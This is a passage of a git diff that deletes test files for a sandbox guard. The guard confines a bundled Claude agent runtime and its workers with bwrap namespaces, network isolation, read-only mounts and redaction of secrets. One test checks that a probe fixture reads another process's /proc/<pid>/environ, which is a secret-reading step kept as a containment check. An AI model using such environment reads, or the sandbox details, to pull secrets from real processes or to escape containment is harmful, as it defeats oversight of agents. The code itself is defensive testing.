child=Bun.spawn(["/usr/bin/python3","-I","-S","-c","import time; print('READY',flush=True); time.sleep(30)"],{env:actual,stdin:"ignore",stdout:"pipe",stderr:"pipe"}); - const reader=child.stdout.getReader();const ready=await reader.read();reader.releaseLock();if(ready.done)throw Error("Synthetic worker failed: "+await new Response(child.stderr).text()); - try{const worker={exited:child.exited};registerWorkerRtk(worker,child.pid,{env:original,brainPath:"/tmp"}); - result.push(await rewriteWorkerRtk(worker,"touch /tmp/brain-worker-scratch/original")); - }finally{child.kill();await child.exited;} - } - console.log(JSON.stringify(result));`; - require("node:fs").writeFileSync(script,source); - const child=Bun.spawn([process.execPath,script],{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe",timeout:watchdogMs(15000)}); - const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); - expect(code,err).toBe(0); - expect(JSON.parse(out.trim()),"REAL_WORKER_RTK_REQUIRES_PRESERVED_PATH").toEqual(["touch /tmp/brain-worker-scratch/rewritten","touch /tmp/brain-worker-scratch/original"]); - }finally{rmSync(root,{recursive:true,force:true});} -}); diff --git a/tests/native-policy-artifact.test.ts b/tests/native-policy-artifact.test.ts deleted file mode 100644 index beeb04707b..0000000000 --- a/tests/native-policy-artifact.test.ts +++ /dev/null @@ -1,79 +0,0 @@ -import { spawnGuardFixture } from "./helpers/native-receipt-fixture"; -/** Synthetic compiler outcomes only: no installed native runtime executes. */ -import { expect, test } from "bun:test"; -import { copyFileSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; -import { join } from "node:path"; -import { tmpdir } from "node:os"; -const guard=join(import.meta.dir,"../scripts/test-native-guard.ts"); -for(const kind of ["stderr","throw","artifact"] as const)test(`native policy ${kind} failure is bounded scrubbed and latched`,async()=>{ - const root=mkdtempSync(join(tmpdir(),"odysseus-policy-refusal-")); - try{ - const script=join(root,"probe.ts"),secret="odysseus-compiler-private-secret"; - writeFileSync(script,`const original=Bun.spawnSync; - Bun.spawnSync=((argv,options)=>argv[0]==="cc"?${kind==="throw"?'(()=>{throw Error("password='+secret+' /tmp/odysseus-private/cc1");})()':'({exitCode:1,stdout:Buffer.alloc(0),stderr:Buffer.from("cc1 missing\\npassword='+secret+'\\n"+"compiler note voyage\\n".repeat(1000)+"late")})'}:Reflect.apply(original,Bun,[argv,options])); - ${kind==="artifact"?'process.argv.push("--native-rtk-view","--native-socket-policy-sha256="+"a".repeat(64));':''} - const {compileSocketPolicy,nativeIsolationFailed}=await import(${JSON.stringify(guard+"?compiler-fixture")}); - try{compileSocketPolicy();}catch{}process.exit(nativeIsolationFailed()?1:0);`); - const child=spawnGuardFixture([process.execPath,script],{env:{...process.env,TEST_COMPILER_SECRET:secret},stdout:"pipe",stderr:"pipe"}); - const [code,text]=await Promise.all([child.exited,child.guardOutput()]);expect(code).not.toBe(0); - const receipt=JSON.parse(text.split("\n").find(line=>line.startsWith('{"kind":"native-offline-boundary"'))!); - expect(receipt.nativeLaunched).toBe(false);expect(text).not.toContain(secret);expect(text).not.toContain("/tmp/odysseus-private"); - if(kind==="artifact")expect(receipt.reason).toBe("native socket policy artifact is unavailable or changed"); - else{expect(receipt.compilerStderr.length).toBeLessThanOrEqual(4096);expect(receipt.compilerStderr).toContain(kind==="throw"?"[redacted":"cc1 missing");} - }finally{rmSync(root,{recursive:true,force:true});} -}); - -for(const view of ["rtk","policy"] as const)for(const mode of ["valid","changed","writable"] as const)test(`read-only ${view} policy artifact ${mode} is verified without compiling`,async()=>{ - const root=mkdtempSync(join(tmpdir(),"odysseus-policy-artifact-")); - try{ - const file=join(root,"policy"),script=join(root,"probe.ts");writeFileSync(file,"Odysseus synthetic policy bytes"); - writeFileSync(script,`import * as fs from "node:fs";import {createHash} from "node:crypto";import {mock} from "bun:test"; - const originalFs={...fs};const file=${JSON.stringify(file)},fixed=${JSON.stringify(view==="rtk"?"/usr/local/bin/brain-native-connect":"/tmp/brain-native-policy/native-connect")}; - fs.chmodSync(file,${mode==="writable"?'0o755':'0o555'}); - const digest=createHash("sha256").update(fs.readFileSync(file)).digest("hex"); - mock.module("node:fs",()=>({...originalFs,statSync:(path,...args)=>originalFs.statSync(path===fixed?file:path,...args),openSync:(path,...args)=>originalFs.openSync(path===fixed?file:path,...args),lstatSync:(path,...args)=>originalFs.lstatSync(path===fixed?file:path,...args),readFileSync:(path,...args)=>originalFs.readFileSync(path===fixed?file:path,...args)})); - process.argv.push(${JSON.stringify("--native-"+view+"-view")},"--native-socket-policy-sha256="+${mode==="changed"?'"a".repeat(64)':'digest'}); - const original=Bun.spawnSync;Bun.spawnSync=((argv,options)=>{if(argv[0]==="cc")throw Error("INNER_COMPILER_REACHED");return Reflect.apply(original,Bun,[argv,options]);}); - const {compileSocketPolicy}=await import(${JSON.stringify(guard+"?artifact-fixture")}); - console.log(compileSocketPolicy());`); - const child=spawnGuardFixture([process.execPath,script],{stdout:"pipe",stderr:"pipe"}); - const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - expect(code,err).toBe(mode==="valid"?0:1);expect(err).not.toContain("INNER_COMPILER_REACHED"); - if(mode==="valid")expect(out.trim()).toBe(view==="rtk"?"/usr/local/bin/brain-native-connect":"/tmp/brain-native-policy/native-connect");else expect(err).toContain("native socket policy artifact is unavailable or changed"); - }finally{rmSync(root,{recursive:true,force:true});} -}); - -test("an isolated preload without receipt libraries never prints raw diagnostic text",async()=>{ - const root=mkdtempSync(join(tmpdir(),"odysseus-isolated-diagnostic-")); - try{ - mkdirSync(join(root,"scripts"));mkdirSync(join(root,"packages")); - writeFileSync(join(root,"package.json"),JSON.stringify({private:true}));copyFileSync(guard,join(root,"scripts/test-native-guard.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-test-receipts.ts"),join(root,"scripts/native-test-receipts.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-device-diagnostics.ts"),join(root,"scripts/native-device-diagnostics.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-exec-trace.ts"),join(root,"scripts/native-exec-trace.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-runtime-pin.ts"),join(root,"scripts/native-runtime-pin.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-opaque-stage.ts"),join(root,"scripts/native-opaque-stage.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-stage-metadata-channel.ts"),join(root,"scripts/native-stage-metadata-channel.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-launch-ready.ts"),join(root,"scripts/native-launch-ready.ts"));copyFileSync(join(import.meta.dir,"../scripts/test-deadlines.ts"),join(root,"scripts/test-deadlines.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-title-collector.ts"),join(root,"scripts/native-title-collector.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-shared-audit.ts"),join(root,"scripts/native-shared-audit.ts")); - const script=join(root,"probe.ts"),secret="odysseus-private-diagnostic-material"; - writeFileSync(script,`const original=Bun.spawnSync; - Bun.spawnSync=((argv,options)=>argv[0]==="cc"?{exitCode:1,stdout:Buffer.alloc(0),stderr:Buffer.from(process.env.TEST_DIAGNOSTIC_SECRET)}:Reflect.apply(original,Bun,[argv,options])); - const {compileSocketPolicy,scrubNativeStartupTrace}=await import(${JSON.stringify(join(root,"scripts/test-native-guard.ts"))}); - console.log(JSON.stringify({text:scrubNativeStartupTrace(process.env.TEST_DIAGNOSTIC_SECRET)})); - try{compileSocketPolicy();}catch{}process.exit(1);`); - const child=spawnGuardFixture([process.execPath,script],{env:{...process.env,TEST_DIAGNOSTIC_SECRET:secret},stdout:"pipe",stderr:"pipe"}); - const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - expect(code).toBe(1);expect(out+err).not.toContain(secret); - expect(JSON.parse(out).text).toBe("[diagnostic redaction unavailable]"); - const receipt=JSON.parse(err.split("\n").find(line=>line.startsWith('{"kind":"native-offline-boundary"'))!); - expect(receipt.compilerStderr).toBe("[diagnostic redaction unavailable]"); - }finally{rmSync(root,{recursive:true,force:true});} -}); - -// Compilation only: no namespace or installed native process executes. -test("namespace policy is compiled outside the compiler-free view and mounted read-only",async()=>{ - const {nativeNamespacePolicy}=await import("../scripts/test-native-guard.ts"); - const {createHash}=await import("node:crypto");const {readFileSync,statSync}=await import("node:fs"); - const policy=nativeNamespacePolicy(); - expect(policy.mounts.slice(0,3)).toEqual(["--dir","/tmp/brain-native-policy","--ro-bind"]); - expect(policy.mounts[4]).toBe("/tmp/brain-native-policy/native-connect"); - expect(policy.mounts.slice(5,8)).toEqual(["--dir","/etc/alternatives","--symlink"]); - expect(policy.mounts[8]).toBe((await import("node:fs")).realpathSync(Bun.which("cc")!)); - expect(policy.mounts[9]).toBe("/etc/alternatives/cc"); - expect(statSync(policy.mounts[3]!).mode & 0o222).toBe(0); - expect(policy.args).toEqual(["--native-policy-view","--native-socket-policy-sha256="+createHash("sha256").update(readFileSync(policy.mounts[3]!)).digest("hex")]); - expect(nativeNamespacePolicy()).toEqual(policy); -}); diff --git a/tests/native-private-index-role.test.ts b/tests/native-private-index-role.test.ts deleted file mode 100644 index aed99a81dc..0000000000 --- a/tests/native-private-index-role.test.ts +++ /dev/null @@ -1,34 +0,0 @@ -/** Real allocator, production worker plan, keyless admission only. */ -import {expect,test} from "bun:test"; -import {mkdtempSync,rmSync} from "node:fs"; -import {join} from "node:path"; -import {bundledClaudeBinary} from "../packages/core/src/providers/agents/claude-binary"; -import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; -const repo=join(import.meta.dir,".."); -for(const mode of ["valid","unregistered","expired","expired-before-launch","foreign-scope","wrong-target","replaced","owner-changed"] as const)test(`private index product role: ${mode}`,async()=>{ - const root=mkdtempSync("/tmp/odysseus-private-role-"); - const code=`import * as fs from "node:fs";import {join} from "node:path";import {spyOn} from "bun:test"; - import {nativeScriptedService,nativeFixturePrivateIndex,nativeWorkerBoundary} from ${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))}; - import {createPrivateIndexDirectory,removePrivateIndexDirectory} from ${JSON.stringify(join(repo,"packages/ui-server/src/brain/private-index.ts"))}; - import {workerCommand} from ${JSON.stringify(join(repo,"packages/ui-sdk/src/server/worker-launcher.ts"))}; - import {createFixtureWorkerStartupView} from ${JSON.stringify(join(repo,"packages/ui-sdk/tests/helpers/worker-startup-view-fixture.ts"))}; - const mode=${JSON.stringify(mode)},root=${JSON.stringify(root)},brain=join(root,"brain");fs.mkdirSync(brain);const startupView=createFixtureWorkerStartupView(brain); - const server=Bun.serve({hostname:"127.0.0.1",port:0,fetch:()=>new Response("Ithaca")}),leave=nativeScriptedService(server.url.origin,{fixtureRoots:[brain,root]}),index=createPrivateIndexDirectory();let release,foreign,plan; - const original=Bun.spawnSync,which=Bun.which;Bun.which=(name,options)=>name==="strace"?"/synthetic/strace":which(name,options);Bun.spawnSync=(argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(original,Bun,[argv,options]);process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - try{ - if(mode!=="unregistered")release=nativeFixturePrivateIndex(index,brain); - const runtime=${JSON.stringify(bundledClaudeBinary())},env={HOME:root,PATH:"/usr/bin:/bin"},launch={brainPath:brain,startupView,command:[runtime],env},argv=workerCommand(launch); - argv.splice(argv.indexOf("--"),0,"--ro-bind",index,join(brain,mode==="wrong-target"?"notes":".brain-index")); - if(mode==="expired")release(); - if(mode==="foreign-scope")foreign=nativeScriptedService(server.url.origin,{fixtureRoots:[brain,root]}); - if(mode==="replaced"){fs.renameSync(index,index+"-held");fs.mkdirSync(index);} - if(mode==="owner-changed"){const stat=fs.lstatSync;spyOn(fs,"lstatSync").mockImplementation((path,options)=>{const info=stat(path,options);return path===index?new Proxy(info,{get(target,key){if(key==="uid")return options?.bigint?info.uid+1n:info.uid+1;const value=Reflect.get(target,key,target);return typeof value==="function"?value.bind(target):value;}}):info;});} - plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({...launch,argv})});if(mode==="expired-before-launch")release();plan.beforeLaunch(); - const guarded=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv;fs.writeFileSync(guarded[guarded.indexOf("-o")+1],"1 execve("+JSON.stringify(runtime)+", [], 0x1) = 0\\n");plan.dispose();plan=undefined;console.log("EXACT_PRIVATE_INDEX_ROLE_ADMITTED"); - }finally{plan?.dispose();release?.();foreign?.();leave();server.stop(true);startupView.cleanup();removePrivateIndexDirectory(index);fs.rmSync(index+"-held",{recursive:true,force:true});}`; - try{ - const child=spawnGuardFixture([process.execPath,"-e",code]);const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - if(mode==="valid"){expect(exit,err).toBe(0);expect(out,"EXACT_PRIVATE_INDEX_ROLE_ADMITTED").toContain("EXACT_PRIVATE_INDEX_ROLE_ADMITTED");} - else{expect(exit,"UNTRUSTED_PRIVATE_INDEX_ROLE_REFUSED "+err).not.toBe(0);expect(out).not.toContain("EXACT_PRIVATE_INDEX_ROLE_ADMITTED");expect(err).toContain("native-offline-boundary");if(mode==="owner-changed")expect(err,"OWNER_RECHECK_IS_THE_REFUSAL_CAUSE").toContain("private index fixture declaration unavailable");if(["expired","expired-before-launch","unregistered","foreign-scope"].includes(mode))expect(err,"MISSING_PRIVATE_INDEX_NAMES_ITS_PRODUCT_ROLE").toContain('"sourceKind":"product-private-index"');} - }finally{rmSync(root,{recursive:true,force:true});} -}); diff --git a/tests/native-process-observation.test.ts b/tests/native-process-observation.test.ts deleted file mode 100644 index c045adcd78..0000000000 --- a/tests/native-process-observation.test.ts +++ /dev/null @@ -1,20 +0,0 @@ -import { expect, test } from "bun:test"; -import { readlinkSync, readFileSync } from "node:fs"; -import { join } from "node:path"; -import { selectedNativePid } from "../packages/ui-backend-claude/tests/helpers/native-process-observation"; - -test("selected executable observations follow the owned wrapper's actual descendant", async () => { - const expected = readlinkSync("/proc/self/exe"); - const wrapper = Bun.spawn(["/bin/sh", "-c", '"$1" -e "console.log(123); await Bun.sleep(30000)" & wait', "odysseus-wrapper", process.execPath], { stdout: "pipe", stderr: "pipe" }); - let target: number | undefined; - try { - const reader = wrapper.stdout.getReader();await reader.read();reader.releaseLock(); - target = selectedNativePid(wrapper.pid, expected); - expect(target, "WRAPPER_IS_NOT_THE_SELECTED_PAYLOAD").not.toBe(wrapper.pid); - expect(readlinkSync(`/proc/${target}/exe`)).toBe(expected); - expect(() => selectedNativePid(wrapper.pid, "/synthetic/unselected/runtime"), "UNSELECTED_RUNTIME_REFUSED").toThrow("did not contain"); - const source=readFileSync(join(import.meta.dir,"../packages/ui-backend-claude/tests/fixtures/host-relay-probe.ts"),"utf8"); - expect(source).toContain("selectedNativePid(nativeChild.pid, expectedExecutable)"); - expect(source).toContain("/proc/${pid}/environ"); - } finally { if(target)try{process.kill(target,"SIGKILL");}catch{}wrapper.kill();await wrapper.exited; } -}); diff --git a/tests/native-product-keeper.test.ts b/tests/native-product-keeper.test.ts deleted file mode 100644 index c4a26e9af0..0000000000 --- a/tests/native-product-keeper.test.ts +++ /dev/null @@ -1,37 +0,0 @@ -/** Product-owned keeper PID topology, no installed model runtime executes. */ -import {expect,test} from "bun:test"; -import {join} from "node:path"; -import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; -import {watchdogMs} from "../scripts/test-deadlines"; -const repo=join(import.meta.dir,".."); -test("40 product unshare keeper observations retain the product's sole child",async()=>{ - const code=`import {spyOn} from "bun:test";import * as fs from "node:fs";import {join} from "node:path";import {spawn} from "node:child_process"; - import {createOutputStagingStorage} from ${JSON.stringify(join(repo,"packages/ui-sdk/src/server/worker-launcher.ts"))}; - import {nativeUnknownBoundary,nativeProductNamespaceWrappers} from ${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))}; - const root=fs.mkdtempSync("/tmp/brain-startup-input-"),lower=join(root,"startup-Ithaca/brain");fs.mkdirSync(lower,{recursive:true});let command; - const capture=spyOn(Bun,"spawn").mockImplementation(argv=>{command=[...argv];throw Error("CAPTURE_PRODUCT_KEEPER");}); - try{createOutputStagingStorage({allowanceBytes:4194304,budgetBytes:4194304},lower);}catch(error){if(error.message!=="CAPTURE_PRODUCT_KEEPER")throw error;}finally{capture.mockRestore();} - if(!command||!command[0].endsWith("/unshare")||command[11]!==nativeProductNamespaceWrappers[0].script)throw Error("REAL_PRODUCT_UNSHARE_PLAN_REQUIRED"); - const mount=command[14];fs.mkdirSync(mount);let observations=0; - try{for(let iteration=0;iteration<40;iteration++){ - const plan=nativeUnknownBoundary(command,{env:{}});let child,out="",err="",first; - try{ - plan.beforeLaunch();child=Bun.spawn(plan.argv,{env:plan.env,stdin:"pipe",stdout:"pipe",stderr:"pipe"});const closed=child.exited;const stdout=(async()=>{for await(const chunk of child.stdout)out+=new TextDecoder().decode(chunk);})(),stderr=(async()=>{for await(const chunk of child.stderr)err+=new TextDecoder().decode(chunk);})(); - const deadline=Date.now()+5000; - while(!out.includes("ready")){ - try{const kids=fs.readFileSync('/proc/'+child.pid+'/task/'+child.pid+'/children','utf8').trim().split(/\\s+/).filter(Boolean).map(Number); - if(kids.length>1)throw Error("NO_INTERMEDIATE_KEEPER_CHILD"); - if(kids.length){if(first!==undefined&&first!==kids[0])throw Error("NO_INTERMEDIATE_KEEPER_CHILD");first=kids[0];} - }catch(error){if(!["ENOENT","ESRCH"].includes(error.code))throw error;} - if(Date.now()>deadline||child.exitCode!==null)throw Error("PRODUCT_KEEPER_READY_REQUIRED "+err);await new Promise(resolve=>setTimeout(resolve,1)); - } - const kids=fs.readFileSync('/proc/'+child.pid+'/task/'+child.pid+'/children','utf8').trim().split(/\\s+/).filter(Boolean).map(Number); - if(kids.length!==1||kids[0]!==first)throw Error("NO_INTERMEDIATE_KEEPER_CHILD"); - if(fs.realpathSync('/proc/'+child.pid+'/exe')!==fs.realpathSync('/usr/bin/unshare')||fs.realpathSync('/proc/'+first+'/exe')!==fs.realpathSync('/bin/sh'))throw Error("PRODUCT_OWNS_KEEPER_PROCESS"); - if(fs.statfsSync('/proc/'+first+'/root'+mount).type!==0x01021994)throw Error("REAL_KEEPER_TMPFS_REQUIRED"); - child.stdin.write("go\\n");child.stdin.end();await closed;await stdout;await stderr;if(child.exitCode!==0)throw Error("PRODUCT_KEEPER_EXIT_REQUIRED "+err);observations++; - }finally{child?.kill("SIGKILL");child?.stdin?.end();plan.dispose();} - }console.log(JSON.stringify({observations}));}finally{fs.rmSync(mount,{recursive:true,force:true});fs.rmSync(root,{recursive:true,force:true});}`; - const child=spawnGuardFixture([process.execPath,"-e",code]),[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - expect(exit,"NO_INTERMEDIATE_KEEPER_CHILD "+err).toBe(0);expect(JSON.parse(out),"FORTY_OF_FORTY_PRODUCT_KEEPERS").toEqual({observations:40}); -},watchdogMs(60000)); diff --git a/tests/native-qualification-paths.test.ts b/tests/native-qualification-paths.test.ts deleted file mode 100644 index dcfd0d17b5..0000000000 --- a/tests/native-qualification-paths.test.ts +++ /dev/null @@ -1,72 +0,0 @@ -/** Qualification and mask discovery only; no installed runtime executes. */ -import {expect,spyOn,test} from "bun:test"; -import * as fs from "node:fs"; -import {join} from "node:path"; -import {nativeExistingRuntimeMaskPaths} from "../scripts/test-native-guard"; -import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; - -test("a missing installed-runtime candidate is skipped while existing aliases remain masked",()=>{ - const root=fs.mkdtempSync("/tmp/odysseus-runtime-mask-paths-"),existing=join(root,"selected"),alias=join(root,"alias"),missing=join(root,"missing"),broken=join(root,"broken"); - try{ - fs.writeFileSync(existing,"harmless metadata witness");fs.symlinkSync(existing,alias);fs.symlinkSync(missing,broken); - expect(nativeExistingRuntimeMaskPaths([missing,existing,alias,broken]),"MISSING_RUNTIME_CANDIDATE_IS_SKIPPED").toEqual([alias,existing].sort()); - }finally{fs.rmSync(root,{recursive:true,force:true});} -}); - -for(const code of ["EACCES","EPERM","ENOTDIR","ELOOP","ENAMETOOLONG"])test(`runtime mask metadata ${code} still fails closed`,()=>{ - const root=fs.mkdtempSync("/tmp/odysseus-runtime-mask-errors-"),path=join(root,"selected");fs.writeFileSync(path,"metadata only"); - const real=fs.statSync,spy=spyOn(fs,"statSync").mockImplementation(((input:any,...args:any[])=>{if(input===path)throw Object.assign(Error("runtime metadata unavailable"),{code});return Reflect.apply(real,fs,[input,...args]);}) as typeof fs.statSync); - try{expect(()=>nativeExistingRuntimeMaskPaths([path]),"NON_ENOENT_METADATA_FAILURE_REFUSES").toThrow("runtime metadata unavailable");} - finally{spy.mockRestore();fs.rmSync(root,{recursive:true,force:true});} -}); - -test("qualification uses its startup tool environment after a fixture removes tools from PATH",async()=>{ - const guard=join(import.meta.dir,"../scripts/test-native-guard.ts"),root=fs.mkdtempSync("/tmp/odysseus-qualification-tools-");fs.symlinkSync(process.execPath,join(root,"bun")); - try{ - const code=`import {installNetworkGuard} from ${JSON.stringify(join(import.meta.dir,"../scripts/test-network-guard.ts"))};installNetworkGuard(); - import {nativeClaudeBoundary} from ${JSON.stringify(guard)}; - process.env.PATH=${JSON.stringify(root)};process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - if(Bun.which("claude",{PATH:process.env.PATH})||Bun.which("bwrap",{PATH:process.env.PATH}))throw Error("FIXTURE_PATH_MUST_EXCLUDE_TOOLS"); - try{nativeClaudeBoundary("/usr/bin/true",[],{});}catch{} - if(process.env.PATH!==${JSON.stringify(root)})throw Error("PRODUCT_PATH_MUST_STAY_UNCHANGED");`; - const launcher=`const c=require("node:child_process").spawn(${JSON.stringify(process.execPath)},["-e",${JSON.stringify(code)}],{env:process.env,stdio:"inherit"});c.on("exit",code=>process.exit(code??1));`; - const child=spawnGuardFixture([Bun.which("node")!,"-e",launcher]),[exit,err]=await Promise.all([child.exited,child.guardOutput()]); - expect(exit,"POST_QUALIFICATION_AUTHORITY_NEGATIVE_STILL_REFUSES").not.toBe(0); - expect(err,"QUALIFICATION_REACHES_THE_UNCHANGED_AUTHORITY_CHECK").toContain('"reason":"scripted service authority was not registered"'); - expect(err).not.toContain('"reason":"OS namespace setup failed"'); - }finally{fs.rmSync(root,{recursive:true,force:true});} -}); - -test("namespace pseudo-files are skipped in direct argv and shell candidate scans",async()=>{ - const guard=join(import.meta.dir,"../scripts/test-native-guard.ts"); - const code=`import {isNativeClaude,nativeWorkerClassification} from ${JSON.stringify(guard)}; - if(isNativeClaude("/usr/bin/printf",["/proc/self/ns/mnt"]))throw Error("PROC_NAMESPACE_IS_NOT_AN_EXECUTABLE_PATH"); - const argv=["/bin/sh","-c",'printf "%s" /proc/self/ns/mnt'];nativeWorkerClassification(argv); - const child=Bun.spawn(argv,{stdout:"pipe",stderr:"pipe"});const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); - if(exit||out!=="/proc/self/ns/mnt"||err)throw Error("PROC_NAMESPACE_TOKEN_DOES_NOT_REFUSE_HARMLESS_SHELL");console.log("PROC_NAMESPACE_TOKEN_DOES_NOT_REFUSE_HARMLESS_SHELL");`; - const child=spawnGuardFixture([process.execPath,"-e",code]),[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - expect(exit,"PROC_NAMESPACE_TOKEN_DOES_NOT_REFUSE_HARMLESS_SHELL "+err).toBe(0);expect(out).toContain("PROC_NAMESPACE_TOKEN_DOES_NOT_REFUSE_HARMLESS_SHELL"); -}); - -test("the real 4097-byte worker status argument reaches the status parser",async()=>{ - const code=`import {createWorkerStatusPipe} from ${JSON.stringify(join(import.meta.dir,"../packages/ui-sdk/src/server/worker-status.ts"))}; - const channel=createWorkerStatusPipe(),raw="x".repeat(4097); - const child=Bun.spawn(["/bin/sh","-c",'exec 3>"$1"; printf "%s\\n" "$2" >&3; exec /bin/sleep 5',"worker-status-fixture",channel.source,raw],{env:{},stdin:"ignore",stdout:"ignore",stderr:"pipe"}); - try{let refused;try{channel.childPid(child.pid,Date.now()+1000);}catch(error){refused=error.message;}if(!refused?.includes("exceeds its byte bound"))throw Error("OVERSIZED_STATUS_REACHES_PRODUCT_PARSER "+refused);console.log("OVERSIZED_STATUS_REACHES_PRODUCT_PARSER");}finally{child.kill("SIGKILL");await child.exited;channel.close();}`; - const child=spawnGuardFixture([process.execPath,"-e",code]),[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - expect(exit,"OVERSIZED_STATUS_REACHES_PRODUCT_PARSER "+err).toBe(0);expect(out).toContain("OVERSIZED_STATUS_REACHES_PRODUCT_PARSER");expect(err).not.toContain('"kind":"native-offline-boundary"'); -}); - -for(const kind of ["ENOTDIR","ELOOP"] as const)test(`non-executable ${kind} argv token leaves the harmless launch unchanged`,async()=>{ - const root=fs.mkdtempSync("/tmp/odysseus-invalid-candidate-"),file=join(root,"regular"),loop=join(root,"loop");fs.writeFileSync(file,"Ithaca");fs.symlinkSync(loop,loop); - const token=kind==="ENOTDIR"?join(file,"claude"):loop; - const code=`import {isNativeClaude,nativeWorkerClassification} from ${JSON.stringify(join(import.meta.dir,"../scripts/test-native-guard.ts"))}; - const token=${JSON.stringify(token)}; - if(isNativeClaude("/usr/bin/printf",["%s",token]))throw Error("INVALID_CANDIDATE_IS_NOT_NATIVE"); - for(const argv of [["/usr/bin/printf","%s",token],["/bin/sh","-c","printf '%s' "+JSON.stringify(token)]]){ - nativeWorkerClassification(argv);const child=Bun.spawn(argv,{stdout:"pipe",stderr:"pipe"});const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); - if(exit||out!==token||err)throw Error("INVALID_CANDIDATE_PRESERVES_HARMLESS_LAUNCH"); - }console.log("INVALID_CANDIDATE_PRESERVES_HARMLESS_LAUNCH");`; - try{const child=spawnGuardFixture([process.execPath,"-e",code]),[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]);expect(exit,"INVALID_CANDIDATE_PRESERVES_HARMLESS_LAUNCH "+err).toBe(0);expect(out).toContain("INVALID_CANDIDATE_PRESERVES_HARMLESS_LAUNCH");expect(err).not.toContain('"kind":"native-offline-boundary"');} - finally{fs.rmSync(root,{recursive:true,force:true});} -}); diff --git a/tests/native-readonly-mount-order.test.ts b/tests/native-readonly-mount-order.test.ts deleted file mode 100644 index b82eda6d55..0000000000 --- a/tests/native-readonly-mount-order.test.ts +++ /dev/null @@ -1,38 +0,0 @@ -import { expect, test } from "bun:test"; -import { mkdtempSync, writeFileSync, rmSync } from "node:fs"; -import { tmpdir } from "node:os"; -import { join } from "node:path"; -import { deferNativeReadOnlyRemounts, labelNativeMountErrors } from "../scripts/test-native-guard"; - -function plan(file:string,ordered:boolean,payload:string[]) { - const argv=["bwrap","--unshare-user","--unshare-pid","--unshare-net","--die-with-parent","--ro-bind","/usr","/usr","--symlink","usr/bin","/bin","--symlink","usr/lib","/lib","--symlink","usr/lib64","/lib64","--proc","/proc","--dev","/dev","--tmpfs","/tmp","--tmpfs","/etc","--tmpfs","/run","--dir","/run/odysseus","--symlink","../run/odysseus/resolve.conf","/etc/resolv.conf","--remount-ro","/run","--remount-ro","/etc","--",...payload]; - const remounts=ordered?deferNativeReadOnlyRemounts(argv,0):[]; - argv.splice(argv.indexOf("--"),0,"--ro-bind",file,"/etc/resolv.conf","--ro-bind",file,"/etc/odysseus-extra.conf",...remounts); - return argv; -} - -test("real bwrap creates guarded file and symlink-alias targets before readonly parents",()=>{ - const root=mkdtempSync(join(tmpdir(),"odysseus-remount-order-")),file=join(root,"resolver");writeFileSync(file,"nameserver 127.0.0.1\n"); - try{ - const old=Bun.spawnSync(plan(file,false,["/usr/bin/true"]),{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe"}); - expect(old.exitCode).not.toBe(0);expect(old.stderr.toString()).toContain("Read-only file system"); - const child=Bun.spawnSync(plan(file,true,["/usr/bin/true"]),{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe"}); - expect(child.exitCode,"GUARD_MOUNTS_PRECEDE_READONLY_REMOUNTS "+child.stderr.toString()).toBe(0); - }finally{rmSync(root,{recursive:true,force:true});} -}); - -test("final namespace mount table retains exactly the declared readonly masks",()=>{ - const root=mkdtempSync(join(tmpdir(),"odysseus-remount-table-")),file=join(root,"resolver");writeFileSync(file,"nameserver 127.0.0.1\n"); - try{ - const inspect='import json\nrows={}\nfor line in open("/proc/self/mountinfo"):\n p=line.split();\n if p[4] in ["/usr","/etc","/run","/tmp","/run/odysseus/resolve.conf","/etc/odysseus-extra.conf"]: rows[p[4]]="ro" in p[5].split(",")\nprint(json.dumps({"mounts":rows,"resolver":open("/etc/resolv.conf").read(),"extra":open("/etc/odysseus-extra.conf").read()}))'; - const child=Bun.spawnSync(plan(file,true,["/usr/bin/python3","-I","-S","-c",inspect]),{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe"}); - expect(child.exitCode,child.stderr.toString()).toBe(0); - expect(JSON.parse(child.stdout.toString()),"FINAL_READONLY_POLICY_UNCHANGED").toEqual({mounts:{"/usr":true,"/etc":true,"/run":true,"/tmp":false,"/run/odysseus/resolve.conf":true,"/etc/odysseus-extra.conf":true},resolver:"nameserver 127.0.0.1\n",extra:"nameserver 127.0.0.1\n"}); - }finally{rmSync(root,{recursive:true,force:true});} -}); - -test("bwrap mount errors expose fixed target categories instead of host path segments",()=>{ - const 